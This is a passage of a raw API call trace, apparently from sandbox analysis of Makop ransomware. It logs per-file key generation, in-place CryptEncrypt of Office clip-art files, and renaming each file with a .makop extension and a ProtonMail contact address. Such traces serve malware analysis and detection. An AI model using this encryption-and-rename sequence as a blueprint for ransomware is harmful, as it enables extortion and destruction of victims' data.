hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.931] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.931] GetProcessHeap () returned 0x48a0000 [0143.931] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.931] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.931] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.931] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.932] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.932] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.932] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.932] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.933] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.933] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.933] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.933] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.933] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x824e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x824e, lpOverlapped=0x0) returned 1 [0143.936] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8250, dwBufLen=0x8250 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8250) returned 1 [0143.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.937] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8250, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8250, lpOverlapped=0x0) returned 1 [0143.938] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.939] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.939] SetEndOfFile (hFile=0xf0) returned 1 [0143.948] GetProcessHeap () returned 0x48a0000 [0143.948] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.948] GetProcessHeap () returned 0x48a0000 [0143.949] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.949] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.949] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.951] CloseHandle (hObject=0xf0) returned 1 [0143.951] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa753f100, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa753f100, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x62b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02265_.WMF", cAlternateFileName="")) returned 1 [0143.951] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF") returned 63 [0143.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.953] GetProcessHeap () returned 0x48a0000 [0143.953] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.953] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.953] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.953] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0143.963] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.963] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.964] GetProcessHeap () returned 0x48a0000 [0143.964] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.964] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.964] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.964] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.964] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.964] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.964] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.964] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.965] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.965] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.965] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.965] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.965] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x62b2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x62b2, lpOverlapped=0x0) returned 1 [0143.967] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x62c0, dwBufLen=0x62c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x62c0) returned 1 [0143.968] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.968] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x62c0, lpOverlapped=0x0) returned 1 [0143.968] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.968] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.968] SetEndOfFile (hFile=0xf0) returned 1 [0143.975] GetProcessHeap () returned 0x48a0000 [0143.975] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.975] GetProcessHeap () returned 0x48a0000 [0143.976] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.976] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.976] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.978] CloseHandle (hObject=0xf0) returned 1 [0143.979] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3f02900, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3f02900, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x78e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02267_.WMF", cAlternateFileName="")) returned 1 [0143.979] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF") returned 63 [0143.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.982] GetProcessHeap () returned 0x48a0000 [0143.982] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.982] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.982] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.982] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.982] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.982] GetProcessHeap () returned 0x48a0000 [0143.982] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.983] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.983] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.983] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.988] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.988] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.988] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.989] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.989] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.989] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.989] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.989] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.989] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x78e0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x78e0, lpOverlapped=0x0) returned 1 [0143.991] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x78e0, dwBufLen=0x78e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x78e0) returned 1 [0143.992] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.992] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x78e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x78e0, lpOverlapped=0x0) returned 1 [0143.992] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.992] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x79b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.992] SetEndOfFile (hFile=0xf0) returned 1 [0144.000] GetProcessHeap () returned 0x48a0000 [0144.000] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.000] GetProcessHeap () returned 0x48a0000 [0144.000] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.001] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.001] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.003] CloseHandle (hObject=0xf0) returned 1 [0144.003] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe53000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fe53000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x6f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02270_.WMF", cAlternateFileName="")) returned 1 [0144.003] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF") returned 63 [0144.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.004] GetProcessHeap () returned 0x48a0000 [0144.004] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.005] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.005] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.005] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0144.010] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.010] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.010] GetProcessHeap () returned 0x48a0000 [0144.010] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.010] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.010] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.010] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.010] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.011] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.011] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.011] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.012] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.012] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.012] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.012] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.012] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6f26, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6f26, lpOverlapped=0x0) returned 1 [0144.014] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6f30, dwBufLen=0x6f30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6f30) returned 1 [0144.014] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.015] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6f30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6f30, lpOverlapped=0x0) returned 1 [0144.015] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.015] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7004, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.015] SetEndOfFile (hFile=0xf0) returned 1 [0144.023] GetProcessHeap () returned 0x48a0000 [0144.023] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.023] GetProcessHeap () returned 0x48a0000 [0144.023] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.024] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.024] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.026] CloseHandle (hObject=0xf0) returned 1 [0144.026] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9ebd00, ftCreationTime.dwHighDateTime=0x1c0033f, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f9ebd00, ftLastWriteTime.dwHighDateTime=0x1c0033f, nFileSizeHigh=0x0, nFileSizeLow=0xb9c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02278_.WMF", cAlternateFileName="")) returned 1 [0144.026] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF") returned 63 [0144.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.029] GetProcessHeap () returned 0x48a0000 [0144.029] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.030] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, 